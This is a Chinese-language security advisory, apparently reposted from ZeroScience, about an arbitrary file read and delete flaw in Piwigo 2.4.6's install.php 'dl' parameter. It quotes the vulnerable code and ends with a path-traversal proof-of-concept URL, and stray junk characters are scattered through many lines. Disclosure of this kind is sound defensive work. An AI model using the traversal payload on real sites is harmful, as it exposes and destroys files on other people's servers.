Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。
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Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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8 y) \" O$ z$ G5 p/install.php:
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113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
8 G! a# f# _. Y* Z. K# V/ {% }115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
+ O3 ]) Z$ s! E% w; P6 v1 A116:   header('Cache-Control: no-cache, must-revalidate');
; G) ~) Y% a0 J( u5 q/ v117:   header('Pragma: no-cache');
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
. }1 Y' Z2 m2 k. J# z119:   header('Content-Transfer-Encoding: binary');
1 l2 r( s6 {; p: Z& Z" i. d1 p120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
123:   exit();
124: }
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Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
" _' T8 f; X' H+ [. A; j1 K8 P2 }           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

2 l* a$ j$ Z8 L6 dVulnerability discovered by Gjoko 'LiquidWorm' Krstic
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Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
# X8 L6 c9 v6 \8 {* I- vVendor Patch: http://piwigo.org/bugs/view.php?id=2843

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http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
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